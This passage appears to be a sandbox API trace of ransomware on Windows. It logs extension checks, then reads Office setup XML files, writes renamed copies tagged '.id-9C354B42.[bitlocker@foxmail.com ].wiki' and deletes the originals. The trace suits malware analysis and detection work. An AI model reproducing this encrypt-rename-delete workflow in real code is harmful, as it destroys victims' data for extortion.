lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0048.445] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM") returned 103 [0048.445] lstrlenW (lpString=".jpg") returned 4 [0048.445] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0048.446] lstrcmpiW (lpString1=".XML", lpString2=".wiki") returned 1 [0048.446] lstrlenW (lpString="SETUP.XML") returned 9 [0048.446] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0049.000] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=4207) returned 1 [0049.000] CloseHandle (hObject=0x1e4) returned 1 [0049.000] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\setup.xml")) returned 0x20 [0049.001] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\setup.xml.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0049.001] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0049.001] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.001] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.001] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\setup.xml.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0049.001] GetLastError () returned 0x0 [0049.001] ReadFile (in: hFile=0x1e4, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x300fed4*=0x106f, lpOverlapped=0x0) returned 1 [0049.138] WriteFile (in: hFile=0x1f4, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0x1070, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x300fc9c*=0x1070, lpOverlapped=0x0) returned 1 [0049.138] ReadFile (in: hFile=0x1e4, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0049.138] WriteFile (in: hFile=0x1f4, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x300fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0049.139] SetEndOfFile (hFile=0x1f4) returned 1 [0049.139] CloseHandle (hObject=0x1f4) returned 1 [0049.139] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.139] SetEndOfFile (hFile=0x1e4) returned 1 [0049.140] CloseHandle (hObject=0x1e4) returned 1 [0049.140] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0049.141] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\setup.xml")) returned 1 [0049.141] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML") returned 103 [0049.141] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML") returned 103 [0049.141] lstrlenW (lpString=".doc") returned 4 [0049.141] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0049.141] lstrlenW (lpString=".docx") returned 5 [0049.141] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0049.141] lstrlenW (lpString=".pdf") returned 4 [0049.141] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0049.141] lstrlenW (lpString=".xls") returned 4 [0049.141] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0049.141] lstrlenW (lpString=".xlsx") returned 5 [0049.141] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0049.141] lstrlenW (lpString=".ppt") returned 4 [0049.141] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0049.141] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML") returned 103 [0049.141] lstrlenW (lpString=".zip") returned 4 [0049.141] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0049.141] lstrlenW (lpString=".rar") returned 4 [0049.142] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0049.142] lstrlenW (lpString=".bz2") returned 4 [0049.142] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0049.142] lstrlenW (lpString=".7z") returned 3 [0049.142] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0049.142] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML") returned 103 [0049.142] lstrlenW (lpString=".dbf") returned 4 [0049.142] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0049.142] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML") returned 103 [0049.142] lstrlenW (lpString=".1cd") returned 4 [0049.142] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0049.142] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML") returned 103 [0049.142] lstrlenW (lpString=".jpg") returned 4 [0049.142] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0049.142] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML") returned 103 [0049.142] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML") returned 103 [0049.142] lstrlenW (lpString=".doc") returned 4 [0049.142] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0049.142] lstrlenW (lpString=".docx") returned 5 [0049.142] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0049.142] lstrlenW (lpString=".pdf") returned 4 [0049.142] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0049.142] lstrlenW (lpString=".xls") returned 4 [0049.142] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0049.142] lstrlenW (lpString=".xlsx") returned 5 [0049.142] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0049.142] lstrlenW (lpString=".ppt") returned 4 [0049.142] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0049.142] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML") returned 103 [0049.142] lstrlenW (lpString=".zip") returned 4 [0049.142] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0049.142] lstrlenW (lpString=".rar") returned 4 [0049.142] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0049.142] lstrlenW (lpString=".bz2") returned 4 [0049.142] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0049.143] lstrlenW (lpString=".7z") returned 3 [0049.143] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0049.143] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML") returned 103 [0049.143] lstrlenW (lpString=".dbf") returned 4 [0049.143] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0049.143] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML") returned 103 [0049.143] lstrlenW (lpString=".1cd") returned 4 [0049.143] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0049.143] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML") returned 103 [0049.143] lstrlenW (lpString=".jpg") returned 4 [0049.143] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0049.143] lstrcmpiW (lpString1=".XML", lpString2=".wiki") returned 1 [0049.143] lstrlenW (lpString="Proof.XML") returned 9 [0049.143] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.fr\\proof.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0049.143] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=1458) returned 1 [0049.143] CloseHandle (hObject=0x1e4) returned 1 [0049.143] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.fr\\proof.xml")) returned 0x20 [0049.144] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.fr\\proof.xml.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0049.144] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.fr\\proof.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0049.144] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.144] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.144] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.fr\\proof.xml.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0049.144] GetLastError () returned 0x0 [0049.144] ReadFile (in: hFile=0x1e4, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x300fed4*=0x5b2, lpOverlapped=0x0) returned 1 [0049.147] WriteFile (in: hFile=0x1f4, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0x5c0, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x300fc9c*=0x5c0, lpOverlapped=0x0) returned 1 [0049.148] ReadFile (in: hFile=0x1e4, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0049.148] WriteFile (in: hFile=0x1f4, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x300fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0049.149] SetEndOfFile (hFile=0x1f4) returned 1 [0049.149] CloseHandle (hObject=0x1f4) returned 1 [0049.149] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.149] SetEndOfFile (hFile=0x1e4) returned 1 [0049.150] CloseHandle (hObject=0x1e4) returned 1 [0049.150] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0049.150] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.fr\\proof.xml")) returned 1 [0049.151] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML") returned 98 [0049.151] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML") returned 98 [0049.151] lstrlenW (lpString=".doc") returned 4 [0049.151] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0049.151] lstrlenW (lpString=".docx") returned 5 [0049.151] lstrcmpiW (lpString1=".docx", lpString2="f.XML") returned -1 [0049.151] lstrlenW (lpString=".pdf") returned 4 [0049.151] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0049.151] lstrlenW (lpString=".xls") returned 4 [0049.151] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0049.151] lstrlenW (lpString=".xlsx") returned 5 [0049.151] lstrcmpiW (lpString1=".xlsx", lpString2="f.XML") returned -1 [0049.151] lstrlenW (lpString=".ppt") returned 4 [0049.151] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0049.151] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML") returned 98 [0049.151] lstrlenW (lpString=".zip") returned 4 [0049.151] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0049.151] lstrlenW (lpString=".rar") returned 4 [0049.151] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0049.151] lstrlenW (lpString=".bz2") returned 4 [0049.151] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0049.151] lstrlenW (lpString=".7z") returned 3 [0049.151] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0049.151] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML") returned 98 [0049.151] lstrlenW (lpString=".dbf") returned 4 [0049.151] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0049.151] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML") returned 98 [0049.151] lstrlenW (lpString=".1cd") returned 4 [0049.151] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0049.151] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML") returned 98 [0049.151] lstrlenW (lpString=".jpg") returned 4 [0049.151] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0049.152] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML") returned 98 [0049.152] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML") returned 98 [0049.152] lstrlenW (lpString=".doc") returned 4 [0049.152] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0049.152] lstrlenW (lpString=".docx") returned 5 [0049.152] lstrcmpiW (lpString1=".docx", lpString2="f.XML") returned -1 [0049.152] lstrlenW (lpString=".pdf") returned 4 [0049.152] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0049.152] lstrlenW (lpString=".xls") returned 4 [0049.152] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0049.152] lstrlenW (lpString=".xlsx") returned 5 [0049.152] lstrcmpiW (lpString1=".xlsx", lpString2="f.XML") returned -1 [0049.152] lstrlenW (lpString=".ppt") returned 4 [0049.152] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0049.152] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML") returned 98 [0049.152] lstrlenW (lpString=".zip") returned 4 [0049.152] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0049.152] lstrlenW (lpString=".rar") returned 4 [0049.152] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0049.152] lstrlenW (lpString=".bz2") returned 4 [0049.152] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0049.152] lstrlenW (lpString=".7z") returned 3 [0049.152] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0049.152] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML") returned 98 [0049.152] lstrlenW (lpString=".dbf") returned 4 [0049.152] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0049.152] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML") returned 98 [0049.152] lstrlenW (lpString=".1cd") returned 4 [0049.152] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0049.152] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML") returned 98 [0049.152] lstrlenW (lpString=".jpg") returned 4 [0049.152] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0049.153] lstrcmpiW (lpString1=".XML", lpString2=".wiki") returned 1 [0049.153] lstrlenW (lpString="Proofing.XML") returned 12 [0049.153] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\proofing.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0049.159] GetFileSizeEx (in: hFile=0x18c, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=811) returned 1 [0049.159] CloseHandle (hObject=0x18c) returned 1 [0049.159] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\proofing.xml")) returned 0x20 [0049.159] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\proofing.xml.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0049.159] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\proofing.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0049.159] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.159] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.159] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\proofing.xml.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0049.159] GetLastError () returned 0x0 [0049.159] ReadFile (in: hFile=0x18c, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x300fed4*=0x32b, lpOverlapped=0x0) returned 1 [0049.161] WriteFile (in: hFile=0x1f8, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0x330, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x300fc9c*=0x330, lpOverlapped=0x0) returned 1 [0049.162] ReadFile (in: hFile=0x18c, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0049.162] WriteFile (in: hFile=0x1f8, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x300fc9c*=0xec, lpOverlapped=0x0) returned 1 [0049.162] SetEndOfFile (hFile=0x1f8) returned 1 [0049.162] CloseHandle (hObject=0x1f8) returned 1 [0049.163] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.163] SetEndOfFile (hFile=0x18c) returned 1 [0049.163] CloseHandle (hObject=0x18c) returned 1 [0049.163] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0049.164] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\proofing.xml")) returned 1 [0049.164] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML") returned 107 [0049.164] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML") returned 107 [0049.164] lstrlenW (lpString=".doc") returned 4 [0049.164] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0049.164] lstrlenW (lpString=".docx") returned 5 [0049.164] lstrcmpiW (lpString1=".docx", lpString2="g.XML") returned -1 [0049.164] lstrlenW (lpString=".pdf") returned 4 [0049.164] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0049.164] lstrlenW (lpString=".xls") returned 4 [0049.164] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0049.164] lstrlenW (lpString=".xlsx") returned 5 [0049.164] lstrcmpiW (lpString1=".xlsx", lpString2="g.XML") returned -1 [0049.164] lstrlenW (lpString=".ppt") returned 4 [0049.164] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0049.164] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML") returned 107 [0049.164] lstrlenW (lpString=".zip") returned 4 [0049.164] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0049.164] lstrlenW (lpString=".rar") returned 4 [0049.164] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0049.164] lstrlenW (lpString=".bz2") returned 4 [0049.164] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0049.164] lstrlenW (lpString=".7z") returned 3 [0049.164] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0049.164] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML") returned 107 [0049.164] lstrlenW (lpString=".dbf") returned 4 [0049.165] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0049.165] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML") returned 107 [0049.165] lstrlenW (lpString=".1cd") returned 4 [0049.165] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0049.165] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML") returned 107 [0049.165] lstrlenW (lpString=".jpg") returned 4 [0049.165] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0049.165] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML") returned 107 [0049.165] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML") returned 107 [0049.165] lstrlenW (lpString=".doc") returned 4 [0049.165] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0049.165] lstrlenW (lpString=".docx") returned 5 [0049.165] lstrcmpiW (lpString1=".docx", lpString2="g.XML") returned -1 [0049.165] lstrlenW (lpString=".pdf") returned 4 [0049.165] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0049.165] lstrlenW (lpString=".xls") returned 4 [0049.165] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0049.165] lstrlenW (lpString=".xlsx") returned 5 [0049.165] lstrcmpiW (lpString1=".xlsx", lpString2="g.XML") returned -1 [0049.165] 